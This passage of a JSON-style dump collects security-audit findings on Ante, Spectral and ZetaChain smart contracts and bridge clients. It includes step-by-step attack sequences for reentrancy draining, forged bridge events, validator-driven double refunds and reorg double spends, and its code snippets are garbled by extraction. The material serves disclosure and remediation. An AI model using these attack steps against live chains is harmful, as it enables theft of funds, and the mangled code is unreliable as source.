less than MIN_CHALLENGER_STAKE, require that all of their stake be removed: function _unstake( uint256 amount, bool isChallenger, PoolSideInfo storage side, UserInfo storage user ) internal { Zellic Ante Labs /) Calculate how much the user has available to unstake, including the /) effects of any previously accrued decay. /) prevAmount = startAmount * decayMultiplier / startDecayMultiplier uint256 prevAmount = _storedBalance(user, side); if (prevAmount == amount) { user.startAmount = 0; user.startDecayMultiplier = 0; side.numUsers = side.numUsers.sub(1); /) Remove from set of existing challengers if (isChallenger) challengers.remove(msg.sender); } else { require(amount <) prevAmount, \u201cANTE: Withdraw request exceeds balance.\u201d); require(!isChallenger |) prevAmount.sub(amount) > MIN_CHALLENGER_STAKE, \u201cANTE: must withdraw at least MIN_CHALLENGER_STAKE\u201d); user.startAmount = prevAmount.sub(amount); /) Reset the startDecayMultiplier for this user, since we've updated /) the startAmount to include any already-accrued decay. user.startDecayMultiplier = side.decayMultiplier; } side.totalAmount = side.totalAmount.sub(amount); emit Unstake(msg.sender, amount, isChallenger); } For recommendations on mitigating the maximum challengers limit due to block gas limit vulnerability, see the finding in section 3.2. Ante Labs acknowledged this finding and implemented a fix in commit 8e4db312c704 6db3f76146080f166baeab025acb. Zellic Ante Labs", + "html_url": "https://github.com/Zellic/publications/blob/master/Ante - Zellic Audit Report.pdf" + }, + { + "title": "3.4 Reentrant checkTest allows pool draining", + "labels": [ + "Zellic" + ], + "body": "Target: AntePool Category: Coding Mistakes Likelihood: Low Severity: Medium : Critical Because checkTest allows reentrancy, in specific cases, an attacker may be able to drain AntePool by 1. Calling checkTest on a test that returns false (not one that reverts). The test must be written in a way that causes the contract to make an external call to an attacker contract. The attacker contract repeats step 1 as many times as desired. 2. After entering the if condition, the _verifier is changed to the current caller. 3. The current caller calls claim after checkTest returns. Steps 2\u20133 repeat for each reentrant call to checkTest, causing the 5% bounty to be claimed multiple times. For this to be exploitable, a test must be able to return false without reverting. not have a checkTestPasses function that is view or pure. call a function on the tested contract that internally makes an external call (e.g. to fallback or receive) to an attacker-controlled contract, for whatever reason. If a test fails on a contract matching certain requirements, an attacker could drain the majority of the pool by repeatedly changing the verifier and claiming bounties. We recommend using the nonReentrant modifier or otherwise preventing the checkT est function from allowing reentrancy. Ante Labs acknowledged this finding and implemented a fix in commit 8448a63d3c7f 7303e35cfc63807cdad540d3aa85. Zellic Ante Labs", + "html_url": "https://github.com/Zellic/publications/blob/master/Ante - Zellic Audit Report.pdf" + }, + { + "title": "3.1 Potential integer underflow in calculateAllocation", + "labels": [ + "Zellic" + ], + "body": "Target: SpecToken Category: Coding Mistakes Likelihood: N/A Severity: Informational : Informational The addToWhitelist function allows the owner to update the allocation amount at any time during the whitelistAddEnd period. The totalAllocation variable is calculated as follows: uint256 totalAllocation = currentMonth * allocations[_account].monthlyAllocation + allocations[_account].initialAllocation; If the value of totalAllocation is less than the totalSpent[_account] total amount (i.e., the amount of token that has been transferred out, other than that transferred to the veTokenMigrator address), the following calculation will underflow, causing a reversion: return totalAllocation - totalSpent[_account]; This may happen if the owner calls addToWhitelist and decreases the initialAlloca tion or monthlyAllocation amounts. The calculateAllocation function provides less configurability than likely intended as the owner cannot always decrease the allocation configuration. Regardless, we recommend preventing underflows to improve correctness (enabling formal verification in the future) and make errors more easily debuggable. Use the maximum value between 0 and totalAllocation - totalSpent[_account]: Zellic Spectral Finance function calculateAllocation(address _account) public view returns (uint256) { uint256 currentMonth = calculateCurrentMonth(); if(currentMonth < 12){ return 0; /)12 month cliff } uint256 totalAllocation = currentMonth * allocations[_account].monthlyAllocation + allocations[_account].initialAllocation; if (totalAllocation < totalSpent[_account]) return 0; return totalAllocation - totalSpent[_account]; } This issue has been acknowledged by Spectral Finance, and a fix was implemented in commit d39c89a3. Zellic Spectral Finance", + "html_url": "https://github.com/Zellic/publications/blob/master/Spectral Token - Zellic Audit Report.pdf" + }, + { + "title": "3.1 Any ZetaSent events are processed regardless of what con- tract emits them", + "labels": [ + "Zellic" + ], + "body": "Target: evm_hooks.go Category: Coding Mistakes Likelihood: High Severity: Critical : Critical The main method through which funds are intended to be bridged over from the zEVM to another chain is by calling the send() function in the zEVM\u2019s ZetaConnectorZEVM contract. This function emits a ZetaSent event, which is intended to be processed by the crosschain module\u2019s PostTxProcessing() hook. It is crucial that this function checks to ensure that any ZetaSent event it picks up originated from the ZetaConnectorZEVM contract. Otherwise, any malicious attacker can deploy their own contract on the zEVM and emit arbitrary ZetaSent events to send arbitrary amounts of ZETA without actually holding any ZETA. Inside the PostTxProcessing() hook, we see the following: func (k Keeper) PostTxProcessing( ctx sdk.Context, msg core.Message, receipt *ethtypes.Receipt, ) error { target :) receipt.ContractAddress if msg.To() !) nil { target = *msg.To() } for _, log :) range receipt.Logs { eZRC20, err :) ParseZRC20WithdrawalEvent(*log) if err =) nil { if err :) k.ProcessZRC20WithdrawalEvent(ctx, eZRC20, target, \"\"); err !) nil { return err Zellic ZetaChain } } eZeta, err :) ParseZetaSentEvent(*log) if err =) nil { if err :) k.ProcessZetaSentEvent(ctx, eZeta, target, \"\"); err return err !) nil { } } } return nil } The receipt parameter of this function contains information about transactions that occur on the zEVM. This function iterates through all logs (i.e., emitted events) in each receipt and attempts to parse the events as Withdrawal or ZetaSent events. However, there is no check to ensure that these events originate from the ZetaCon- nectorZEVM contract. This allows a malicious attacker to deploy their own contract on the zEVM, which would allow them to emit arbitrary ZetaSent events, and thus gain access to ZETA tokens that they otherwise should not have access to. The prototype of the ZetaSent event is as follows: event ZetaSent( address sourceTxOriginAddress, address indexed zetaTxSenderAddress, uint256 indexed destinationChainId, bytes destinationAddress, uint256 zetaValueAndGas, uint256 destinationGasLimit, bytes message, bytes zetaParams ); It is important to note that Withdrawal events are not affected by this bug. The Proc essZRC20WithdrawalEvent() function checks and ensures that the event was emitted from a whitelisted ZRC20 token contract address. Zellic ZetaChain Add a check to ensure that ZetaSent events are only processed if they are emitted from the ZetaConnectorZEVM contract. This issue has been acknowledged by ZetaChain, and a fix was implemented in com- mit 8a988ae9. Zellic ZetaChain", + "html_url": "https://github.com/Zellic/publications/blob/master/ZetaChain - 6.30.23 Zellic Audit Report.pdf" + }, + { + "title": "3.2 Bonded validators can trigger reverts for successful trans- actions", + "labels": [ + "Zellic" + ], + "body": "Target: keeper_out_tx_tracker.go Category: Coding Mistakes Likelihood: High Severity: Critical : Critical A single bonded validator has the ability to add or remove transactions from the out tracker, as the only check is that they are bonded. func (k msgServer) AddToOutTxTracker(goCtx context.Context, msg *types.MsgAddToOutTxTracker) (*types.MsgAddToOutTxTrackerResponse, error) { ctx :) sdk.UnwrapSDKContext(goCtx) /) Zellic: this is the only relevant check validators :) k.StakingKeeper.GetAllValidators(ctx) if !IsBondedValidator(msg.Creator, validators) &) msg.Creator !) types.AdminKey { return nil, sdkerrors.Wrap(sdkerrors.ErrorInvalidSigner, fmt.Sprintf(\"signer %s is not a bonded validator\", msg.Creator)) } /) [ ...)) ] } func (k msgServer) RemoveFromOutTxTracker(goCtx context.Context, msg *types.MsgRemoveFromOutTxTracker) (*types.MsgRemoveFromOutTxTrackerResponse, error) { ctx :) sdk.UnwrapSDKContext(goCtx) validators :) k.StakingKeeper.GetAllValidators(ctx) if !IsBondedValidator(msg.Creator, validators) &) msg.Creator !) types.AdminKey { return nil, sdkerrors.Wrap(sdkerrors.ErrorInvalidSigner, fmt.Sprintf(\"signer %s is not a bonded validator\", msg.Creator)) } Zellic ZetaChain k.RemoveOutTxTracker(ctx, msg.ChainId, msg.Nonce) return &types.MsgRemoveFromOutTxTrackerResponse{}, nil } This allows a malicious validator to remove an entry from the out transaction tracker and replace it with another one. One way to exploit this would be to 1. Initiate a Goerli->Goerli message sending some ZETA by calling ZetaConnectorE th.send on the Goerli chain. 2. After processing the incoming events, a new transaction will be signed, sending the ZETA back to the Goerli chain in signer.TryProcessOutTx and then adding to the outgoing transaction tracker. 3. The malicious validator can then remove that transaction using tx crosschain r emove-from-out-tx-tracker 1337 nonce and add a different transaction that has previously failed (any failed hash will do) using the original nonce. 4. Then, observeOutTx will pick up this fake transaction from the tracker and add it to ob.outTXConfirmedReceipts and ob.outTXConfirmedTransaction. 5. Next, IsSendOutTxProcessed is run using this fake receipt and PostReceiveConfi rmation is called, marking that status as ReceiveStatus_Failed. 6. The flow then continues on to revert the cross-chain transactions (CCTXs) and return the ZETA even though the original transaction went through, causing more ZETA to be transferred than was originally sent. Here is what the attacker\u2019s ZETA balance would look like when performing the above attack: 900000000000000000000 /) initial balance 890000000000000000000 /) balance after triggering ZetaConnectorEth.send 897999999999799398194 /) balance after receiving funds from the deleted out tracker tx 903999999999398194581 /) balance after receiving the revert funds Zellic ZetaChain Consider whether a single validator should be able to remove transactions from the out tracker or whether it could be done via a vote. If it is unnecessary, then the feature should be removed. The observeOutTx method could be hardened to ensure that the sender of the transac- tion is the correct threshold signature scheme (TSS) address and that the nonce of the transaction matches the expected value. This does not prevent a malicious validator from removing legitimate transactions from the tracker and locking up funds. This issue has been acknowledged by ZetaChain, and a fix was implemented in com- mit\u2019s 24d4f9eb and 8222734c. Zellic ZetaChain", + "html_url": "https://github.com/Zellic/publications/blob/master/ZetaChain - 6.30.23 Zellic Audit Report.pdf" + }, + { + "title": "3.3 Sending ZETA to a Bitcoin network results in BTC being sent instead", + "labels": [ + "Zellic" + ], + "body": "Target: btc_signer.go Category: Coding Mistakes Likelihood: High Severity: Critical : Critical There are three different types of coin that can be sent via outgoing transactions, which are CoinType_Zeta, CoinType_Gas, and CoinType_ERC20. The observer will call go signer.TryProcessOutTx(send, outTxMan, outTxID, chainC lient, co.bridge) on each of the current out transactions, and it is up to the signer implementation for each chain to handle the different coin types. The EVMSigner cor- rectly handles all the coin types, but the BTCSigner assumes that all the transactions are of type CoinType_Gas. func (signer *BTCSigner) TryProcessOutTx(send *types.CrossChainTx, outTxMan *OutTxProcessorManager, outTxID string, chainclient ChainClient, zetaBridge *ZetaCoreBridge) { /) [ ...)) ] /) Zellic: - incorrect assumption of CoinType_Gas here included, confirmed, _ :) btcClient.IsSendOutTxProcessed(send.Index, int(send.GetCurrentOutTxParam().OutboundTxTssNonce), common.CoinType_Gas) if included |) confirmed { logger.Info().Msgf(\"CCTX already processed; exit signer\") return } /) [ ...)) ] If you try to send ZETA to a Bitcoin chain using ZetaConnectorZEVM.send on the zEVM, it will generate an outgoing CCTX with a coin type of CoinType_Zeta and an Amount of the ZETA that was burnt. This will then get picked up by the BTCSigner and processed as if it was a CoinType_Gas, which directly sends Amount / 1e8 (the BTC gas coin has decimals of 8 in zEVM) of BTC to the receiver. Zellic ZetaChain This allows someone to burn a tiny fraction of a ZETA (1/1e10) and receive one BTC in return. The BTCSigner should reject any transactions that are not of type CoinType_Gas. The EvmHooks could check to ensure that the destination chain supports CoinType_Zeta and could reject any transactions before they reach the inbound tracker. This issue has been acknowledged by ZetaChain, and a fix was implemented in com- mit 630c515f. Zellic ZetaChain", + "html_url": "https://github.com/Zellic/publications/blob/master/ZetaChain - 6.30.23 Zellic Audit Report.pdf" + }, + { + "title": "3.4 Race condition in Bitcoin client leads to double spend", + "labels": [ + "Zellic" + ], + "body": "Target: btc_signer.go Category: Coding Mistakes Likelihood: High Severity: Critical : Critical The Bitcoin client is used to watch for cross-chain transactions as well as to relay transactions to and from the Bitcoin chain. There are numerous functions in the client, but the relevant functions are described below: 1. IsSendOutTxProcessed() - Checks the ob.submittedTx[outTxID] to see whether the transaction in question has already been submitted for relaying. 2. startSendScheduler() - Runs every three seconds. This function gets all pending CCTX and checks if they have already been submitted with IsSendOutTxProces sed(). If the CCTX has not been submitted, it will call TryProcessOutTx(). 3. TryProcessOutTx() - Signs and broadcasts a CCTX, then adds it to a tracker in the x/crosschain module with AddTxHashToOutTxTracker(). 4. observeOutTx() - Runs every two seconds. It queries for all transactions that have been added to the tracker in the x/crosschain module and adds them to ob.submittedTx[outTxID]. The bug here occurs due to the racy check in IsSendOutTxProcessed(). More specifi- cally, the following scenario would lead to the bug: 1. First, startSendScheduler() runs and gets a pending CCTX. It checks that the CCTX has not been processed (i.e., has not been added to ob.submittedTx[], so IsSendOutTxProcessed() returns false), and thus calls TryProcessOutTx(). 2. Then, TryProcessOutTx() signs the CCTX and broadcasts it, then adds it to the tracker in the x/crosschain module. 3. After, startSendScheduler() runs again before observeOutTx() is able to run. The CCTX is in the x/crosschain module tracker but not yet in ob.submittedTx[] since observeOutTx() has not run yet. Therefore, TryProcessOutTx() is called again. Zellic ZetaChain 4. Then TryProcessOutTx() runs, signs, broadcasts, and adds the same CCTX to the tracker in the x/crosschain module. 5. Finally, observeOutTx() runs and adds (or in this case, overwrites) the CCTX to ob.submittedTx[]. The bug occurs in step 3. Since observeOutTx() is responsible for adding the CCTX to the ob.submittedTx[] map, the intention is for observeOutTx() to run before startSe ndScheduler() runs again. Due to the racy nature of the code though, this does not happen, and thus the bug is triggered. The bug triggers with the current smoke tests by modifying the following line of code in bitcoin_client.go to make observeOutTx() run every 30 seconds. func (ob *BitcoinChainClient) observeOutTx() { ticker :) time.NewTicker(30 * time.Second) /) [ ...)) ] } A naive fix for this bug is to modify IsSendOutTxProcessed() to make it query for pend- ing CCTXs in the x/crosschain module\u2019s tracker instead. This will prevent this issue from occurring, as startSendScheduler() and TryProcessOutTx() run synchronously. Although the above fix is sufficient for this specific issue, we find it important to note that the code here is multithreaded and accesses ob.submittedTx[] asynchronously without any locking involved. Additionally, ob.submittedTx[] is often out of sync with the tracker in the x/crosschain module. Code like this is prone to similar bugs, and it is especially prone to bugs being introduced in the future. Because of this, it is our recommendation that the ZetaChain team do a thorough refactoring of the code to in- troduce synchronization between the functions. This would eliminate the racy nature of the code and make it less likely for bugs to be introduced in the future. This issue has been acknowledged by ZetaChain. Zellic ZetaChain", + "html_url": "https://github.com/Zellic/publications/blob/master/ZetaChain - 6.30.23 Zellic Audit Report.pdf" + }, + { + "title": "3.5 Not waiting for minimum number of block confirmations re- sults in double spend", + "labels": [ + "Zellic" + ], + "body": "Target: btc_client.go Category: Coding Mistakes Likelihood: Medium Severity: Critical : Critical Forks of length 1 (that is, a reorganization of one block in the blockchain) happen semifrequently in the Bitcoin chain. This occurs when two miners mine a winning nonce at nearly the same time. When this occurs, each full node will consider the first block it sees (from either miner) to be the best block for that block height. This would mean that for a short period of time, nodes will be divided on which block should be part of the canonical chain. Some nodes will continue with block A, while the others will continue with block B. The way the nodes come to consensus on which chaintip to follow is by waiting to see which chaintip pulls ahead of the other by adding another block. When this occurs, all nodes that are not on this chaintip will reorganize to the longest chaintip. Note that forks of length greater than 1 can also occur, but the probability of it occurring goes down as the length goes up. In Satoshi\u2019s Bitcoin whitepaper, it is recommended that applications wait for six block confirmations after a transaction before considering it to be part of the canonical chain (i.e., confirmed and irreversible). This assumes that a malicious attacker who is attempting to construct a malicious chaintip has access to ~10% of the total hashing power of all nodes on the chain. In the Bitcoin client, there is a state variable for the amount of block confirmations that the code must wait before considering a transaction as confirmed. type BitcoinChainClient struct { /) [ ...)) ] confCount int64 /) must wait this many blocks to be considered \"confirmed\" /) [ ...)) ] } However, this variable is not used anywhere in the code. The client assumes that Zellic ZetaChain any transaction it sees in new blocks are confirmed, and it will create and broadcast CCTXs immediately. This causes an issue, because if the Bitcoin chain reorganizes at any point in time after the CCTX has been created, the Bitcoin transaction will revert, but funds will have already been sent across to the zEVM. To demonstrate this in the local testing environment, we used the invalidateblock RPC call. The steps for the attack are as follows: 1. Send 1 BTC from the smoketest wallet to the Bitcoin TSS address bcrt1q7cj32g6 scwdaa5sq08t7dqn7jf7ny9lrqhgrwz. 2. Mine a block using the generatetoaddress RPC. 3. Confirm that the transaction was included, either by checking the client logs for the CCTX or using a block explorer such as btc-rpc-explorer. 4. Use the invalidateblock RPC to invalidate the block that the transaction oc- curred in. The above steps will result in a CCTX being generated for 1 BTC to be sent to the zEVM. However, due to the reorganization triggered in step 4, the 1 BTC that was sent in step 1 will remain in the smoketest wallet. Therefore, 1 BTC will essentially have been minted in the zEVM. The Bitcoin client should wait for a minimum number of block confirmations before assuming that a block has been confirmed. The recommended number is six block confirmations according to the Bitcoin whitepaper. This issue has been acknowledged by ZetaChain, and a fix was implemented in com- mit c276e903. Zellic ZetaChain", + "html_url": "https://github.com/Zellic/publications/blob/master/ZetaChain - 6.30.23 Zellic Audit Report.pdf" + }, + { + "title": "3.6 Multiple events in the same transaction causes loss of funds and chain halting", + "labels": [ + "Zellic" + ], + "body": "Target: evm_hooks.go Category: Coding Mistakes Likelihood: High Severity: Critical : Critical The ProcessZetaSentEvent() and ProcessZRC20WithdrawalEvent() functions are used to process ZetaSent and Withdrawal events respectively. These events are emitted by the ZetaConnectorZEVM contract. These functions first use the parameters of the emitted event to create a new MsgSen dVoter message. It then hashes this message and uses the hash as an index to create a new CCTX. The relevant code in ProcessZetaSentEvent() is shown below: func (k Keeper) PostTxProcessing(/) ...)) *)) error { /) [ ...)) ] for _, log :) range receipt.Logs { /) [ ...)) ] eZeta, err :) ParseZetaSentEvent(*log) if err =) nil { if err :) k.ProcessZetaSentEvent(ctx, eZeta, target, \"\"); err return err !) nil { } } } return nil } func (k Keeper) ProcessZetaSentEvent(ctx sdk.Context, event *contracts.ZetaConnectorZEVMZetaSent, contract ethcommon.Address, txOrigin string) error { /) [ ...)) ] msg :) zetacoretypes.NewMsgSendVoter(\"\", contract.Hex(), Zellic ZetaChain senderChain.ChainId, txOrigin, toAddr, receiverChain.ChainId, amount, \"\", event.Raw.TxHash.String(), event.Raw.BlockNumber, 90000, common.CoinType_Zeta, \"\") sendHash :) msg.Digest() cctx :) k.CreateNewCCTX(ctx, msg, sendHash, zetacoretypes.CctxStatus_PendingOutbound, &senderChain, receiverChain) EmitZetaWithdrawCreated(ctx, cctx) return k.ProcessCCTX(ctx, cctx, receiverChain) } An issue arises if two or more events are emitted in the same transaction with the same parameters. To demonstrate this, let us assume that two identical ZetaSent events are emitted in the same transaction. If the parameters are the same, then the sendHash that is generated from hashing the MsgSendVoter message will be identical for both the events. When this happens, the CCTX that is created will be the same for both events, and thus the CCTX created for the second ZetaSent event will overwrite the CCTX created for the first ZetaSent event. An example of a scenario in which this might occur is when a user wants to send 10,000 ZETA tokens to their own address on a different chain. One way they might do this is by opting to send 5,000 ZETA in two ZetaSent events. Since all other pa- rameters would be the same, only the second ZetaSent event gets processed (the CCTX overwrites the first one). This causes the user to only receive 5,000 ZETA on the receiving chain, even though they originally sent 10,000 ZETA. Additionally, the ProcessCCTX() function will increment the nonce twice in the above scenario. Ethereum enforces that nonces have to always increase by one after each transaction, so in the event that this issue occurs, all outgoing transactions to the re- ceiving chain will begin to fail, halting the bridge in the process. func (k Keeper) ProcessCCTX(ctx sdk.Context, cctx zetacoretypes.CrossChainTx, receiverChain *common.Chain) error { /) [ ...)) ] err :) k.UpdateNonce(ctx, receiverChain.ChainId, &cctx) if err !) nil { return fmt.Errorf(\"ProcessWithdrawalEvent: update nonce failed: %s\", err.Error()) } Zellic ZetaChain /) [ ...)) ] } func (k Keeper) UpdateNonce(ctx sdk.Context, receiveChainID int64, cctx *types.CrossChainTx) error { chain :) k.zetaObserverKeeper.GetParams(ctx).GetChainFromChainID(receiveChainID) nonce, found :) k.GetChainNonces(ctx, chain.ChainName.String()) if !found { return sdkerrors.Wrap(types.ErrCannotFindReceiverNonce, fmt.Sprintf(\"Chain(%s) | Identifiers : %s \", chain.ChainName.String(), cctx.LogIdentifierForCCTX())) } /) SET nonce cctx.GetCurrentOutTxParam().OutboundTxTssNonce = nonce.Nonce nonce.Nonce+) k.SetChainNonces(ctx, nonce) return nil } We recommend introducing an ever-increasing nonce within the ZetaConnectorZEVM smart contract. Whenever a new event is emitted by the smart contract, this nonce should be incremented. This means that every emitted event is distinct from all other emitted events, and thus each emitted event will cause the creation of a new CCTX, preventing this issue from occurring. This issue has been acknowledged by ZetaChain, and a fix was implemented in com- mit 2fdec9ef. Zellic ZetaChain", + "html_url": "https://github.com/Zellic/publications/blob/master/ZetaChain - 6.30.23 Zellic Audit Report.pdf" + }, + { + "title": "3.7 Missing authentication when adding node keys", + "labels": [ + "Zellic" + ], + "body": "Target: keeper_node_account.go Category: Coding Mistakes Likelihood: High Severity: Critical : Critical The SetNodeKeys message allows a node to supply a public key that will be used for the TSS signing: func (k msgServer) SetNodeKeys(goCtx context.Context, msg *types.MsgSetNodeKeys) (*types.MsgSetNodeKeysResponse, error) { ctx :) sdk.UnwrapSDKContext(goCtx) addr, err :) sdk.AccAddressFromBech32(msg.Creator) if err !) nil { return nil, sdkerrors.Wrap(sdkerrors.ErrInvalidRequest, fmt.Sprintf(\"msg creator %s not valid\", msg.Creator)) } _, found :) k.GetNodeAccount(ctx, msg.Creator) if !found { na :) types.NodeAccount{ Creator: msg.Creator, Index: msg.Creator, NodeAddress: addr, PubkeySet: msg.PubkeySet, NodeStatus: types.NodeStatus_Unknown, } k.SetNodeAccount(ctx, na) } else { return nil, sdkerrors.Wrap(sdkerrors.ErrInvalidRequest, fmt.Sprintf(\"msg creator %s already has a node account\", msg.Creator)) } return &types.MsgSetNodeKeysResponse{}, nil } The issue is that there are no authentication or verification checks in place to limit who can call it. As a result, anyone can call the function and add their public key to the list. Zellic ZetaChain The list of node accounts is fetched in the InitializeGenesisKeygen and in the zeta client\u2019s genNewKeysAtBlock in order to determine the public keys that should be used for the TSS signing. If anyone is able to add their public key before the list is queried (for example, just before the block number that the new keys will be generated), they could potentially be able to control enough signatures to pass the threshold and sign transactions or otherwise create a denial of service where the TSS can no longer sign anything. Adding node accounts should be a privileged operation, and only trusted keys should be able to be added. This issue has been acknowledged by ZetaChain, and a fix was implemented in com- mit a246e64b. Zellic ZetaChain", + "html_url": "https://github.com/Zellic/publications/blob/master/ZetaChain - 6.30.23 Zellic Audit Report.pdf" + }, + { + "title": "3.8 Missing nil check when parsing client event", + "labels": [ + "Zellic" + ], + "body": "Target: evm_client.go Category: Coding Mistakes Likelihood: High Severity: High : High One of the responsibilities of the zeta client is to watch for incoming transactions and handle any ZetaSent events emitted by the connector. logs, err :) ob.Connector.FilterZetaSent(&bind.FilterOpts{ Start: uint64(startBlock), End: &tb, Context: context.TODO(), }, []ethcommon.Address{}, []*big.Int{}) if err !) nil { return err } cnt, err :) ob.GetPromCounter(\"rpc_getLogs_count\") if err !) nil { return err } cnt.Inc() /) Pull out arguments from logs for logs.Next() { event :) logs.Event ob.logger.Info().Msgf(\"TxBlockNumber %d Transaction Hash: %s Message : %s\", event.Raw.BlockNumber, event.Raw.TxHash, event.Message) destChain :) common.GetChainFromChainID(event.DestinationChainId.Int64()) destAddr :) clienttypes.BytesToEthHex(event.DestinationAddress) if strings.EqualFold(destAddr, con- fig.ChainConfigs[destChain.ChainName.String()].ZETATokenContractAddress) { ob.logger.Warn().Msgf(\"potential attack attempt: %s destination address is ZETA token contract address %s\", destChain, destAddr)} Zellic ZetaChain When fetching the destination chain, common.GetChainFromChainID(event.Destinatio nChainId.Int64()) is used, which will return nil if the chain is not found. func GetChainFromChainID(chainID int64) *Chain { chains :) DefaultChainsList() for _, chain :) range chains { if chainID =) chain.ChainId { return chain } } return nil } Since a user is able to specify any value for the destination chain, if a nonsupported chain is used, then destChain will be nil and the following destChain.ChainName call will cause the client to crash. As all the clients watching the remote chain will see the same events, a malicious user (or a simple mistake entering the chain) will cause all the clients to crash. If the clients automatically restart and try to pick up from the block they were up to (the default), then they will crash again and enter into an endless restart and crash loop. This will prevent any incoming or outgoing transactions on the remote chain from being processed, effectively halting that chain\u2019s integration. There should be an explicit check to ensure that destChain is not nil and to skip the log if it is. It would also be a good idea to have a recovery mechanism that can handle any blocks that cause the client to crash and skip them. This will help prevent the remote chain from being paused if a similar bug occurs again. This issue has been acknowledged by ZetaChain, and a fix was implemented in com- mit 0dfbf8d7. Zellic ZetaChain", + "html_url": "https://github.com/Zellic/publications/blob/master/ZetaChain - 6.30.23 Zellic Audit Report.pdf" + }, + { + "title": "3.9 Case-sensitive address check allows for double signing", + "labels": [ + "Zellic" + ], + "body": "Target: keeper_chain_nonces.go Category: Coding Mistakes Likelihood: Low Severity: High : High The IsDuplicateSigner() function is used to check whether a given address already exists within a list of signers. It does this by doing a string comparison, which is case sensitive. func isDuplicateSigner(creator string, signers []string) bool { for _, v :) range signers { if creator =) v { return true } } return false } This function is used in CreateTSSVoter(), which is the message handler for the MsgCr eateTSSVoter message. This message is used by validators to vote on a new TSS. func (k msgServer) CreateTSSVoter(goCtx context.Context, msg *types.MsgCreateTSSVoter) (*types.MsgCreateTSSVoterResponse, error) { /) [ ...)) ] if isDuplicateSigner(msg.Creator, tssVoter.Signers) { return nil, sdkerrors.Wrap(sdkerrors.ErrorInvalidSigner, fmt.Sprintf(\"signer %s double signing!)\", msg.Creator)) } /) [ ...)) ] /) this needs full consensus on all validators. if len(tssVoter.Signers) =) len(validators) { tss :) types.TSS{ Creator: \"\", Index: tssVoter.Chain, Zellic ZetaChain Chain: tssVoter.Chain, Address: tssVoter.Address, Pubkey: tssVoter.Pubkey, Signer: tssVoter.Signers, FinalizedZetaHeight: uint64(ctx.BlockHeader().Height), } k.SetTSS(ctx, tss) } return &types.MsgCreateTSSVoterResponse{}, nil } In Cosmos-based chains, addresses are alphanumeric, and the alphabetical charac- ters in the address can either be all uppercase or all lowercase when represented as a string. This means that case-sensitive string comparisons, such as the one in IsDup licateSigner(), can allow a single creator to pass the check twice \u2014 once for an all lowercase address, and once for an all uppercase version of the same address. Due to the len(tssVoter.Signers) =) len(validators) check, it is possible for a ma- licious actor to spin up multiple bonded validators and double sign with each of them. This would cause the check to erroneously pass, even though full consensus has not been reached, and allow the malicious actor to effectively force the vote to pass. The sdk.AccAddressFromBech32() function can be used to convert a string address to an instance of a sdk.AccAddress type. Comparing two sdk.AccAddress types is the correct way to compare addresses in Cosmos-based chains, and it will fix this issue. This issue has been acknowledged by ZetaChain, and a fix was implemented in com- mit 83d0106b. Zellic ZetaChain", + "html_url": "https://github.com/Zellic/publications/blob/master/ZetaChain - 6.30.23 Zellic Audit Report.pdf" + }, + { + "title": "3.10 No panic handler in Zetaclient may halt cross-chain com- munication", + "labels": [ + "Zellic" + ], + "body": "Target: btc_signer.go Category: Coding Mistakes Likelihood: Medium Severity: High : High The code under zetaclient/ implements two separate clients \u2014 an EVM client for all EVM-compatible chains and a Bitcoin client for the Bitcoin chain. The clients are intended to relay transactions between chains as well as watch for cross-chain inter- actions (via emitted events). In the event that a panic occurs in the zetaclient code, the client will simply crash. If a malicious actor is able to find a reliable way to cause panics, they can effectively halt all cross-chain communications by crashing all of the clients for that specific chain. We discovered a bug in the Bitcoin client that can allow a malicious actor to achieve this; however, there may be numerous other ways to do this. The bug exists in the Bitcoin client\u2019s TryProcessOutTx() function. func (signer *BTCSigner) TryProcessOutTx(send *types.CrossChainTx, outTxMan *OutTxProcessorManager, outTxID string, chainclient ChainClient, zetaBridge *ZetaCoreBridge) { /) [ ...)) ] /) FIXME: config chain params addr, err :) btcutil.DecodeAddress(string(toAddr), config.BitconNetParams) if err !) nil { logger.Error().Err(err).Msgf(\"cannot decode address %s \", send.GetCurrentOutTxParam().Receiver) return } /) [ ...)) ] } Zellic ZetaChain Specifically, the call to btcutil.DecodeAddress() can panic if the toAddr provided to it is not a valid Bitcoin address. This is easily achieved by passing in an EVM-compatible address instead. The following stack trace is observed when the crash occurs: zetaclient0 | panic: runtime error: index out of range [65533] with length zetaclient0 | zetaclient0 | goroutine 12508 [running]: zetaclient0 | github.com/btcsuite/btcutil/base58.Decode({0xc005e9f968, 0x14}) zetaclient0 | ^^I/go/pkg/mod/github.com/btcsuite/btcutil@v1.0.3- 0.20201208143702-a53e38424cce/base58/base58.go:58 +0x305 zetaclient0 | github.com/btcsuite/btcutil/base58.CheckDecode({0xc005e9f968?, 0xc001300000?}) zetaclient0 | ^^I/go/pkg/mod/github.com/btcsuite/btcutil@v1.0.3- 0.20201208143702-a53e38424cce/base58/base58check.go:39 +0x25 zetaclient0 | github.com/btcsuite/btcutil.DecodeAddress({0xc005e9f968?, 0xc0061a6de0?}, 0x458b080) zetaclient0 | ^^I/go/pkg/mod/github.com/btcsuite/btcutil@v1.0.3- 0.20201208143702-a53e38424cce/address.go:182 +0x2aa zetaclient0 | github.com/zeta- chain/zetacore/zetaclient.(*BTCSigner).TryProcessOutTx(0xc004aed680, 0xc006691680, 0xc00053aab0, {0xc00484edc0, 0x4a}, {0x32c9040?, 0xc0050ba200}, 0xc000e9af00) zetaclient0 | ^^I/go/delivery/zeta-node/zetaclient/btc_signer.go:213 +0x893 zetaclient0 | created by github.com/zeta- chain/zetacore/zetaclient.(*CoreObserver).startSendScheduler zetaclient0 | ^^I/go/delivery/zeta- node/zetaclient/zetacore_observer.go:224 +0x1045 The bug demonstrated above is in an external package that is not maintained by the ZetaChain team. Since it is not sustainable to go through and fix any such bugs that arise from the use of external packages, we recommend adding a panic handler to the Zetaclient code so that panics are handled gracefully and preferably logged, so they can be taken care of later. Zellic ZetaChain This issue has been acknowledged by ZetaChain, and a fix was implemented in com- mit f2adb252. Zellic ZetaChain", + "html_url": "https://github.com/Zellic/publications/blob/master/ZetaChain - 6.30.23 Zellic Audit Report.pdf" + }, + { + "title": "3.11 Ethermint Ante handler bypass", + "labels": [ + "Zellic" + ], + "body": "Target: app/ante/handler_options.go Category: Coding Mistakes Likelihood: High Severity: High : High It is possible to bypass the EthAnteHandler by wrapping the ethermint.evm.v1.MsgEthe reumTx inside a MsgExec as described in https://jumpcrypto.com/bypassing-ethermint- ante-handlers/. These are responsible for numerous vital actions such as deducting the gas limit from the sender\u2019s account to limit the number computations a contract can perform. It is possible to cause a complete chain halt by deploying a contract with an infinite loop and then calling it with a huge gas limit. Since the coins are not deducted from the senders account, the gas limit will be accepted and the EVM will get stuck 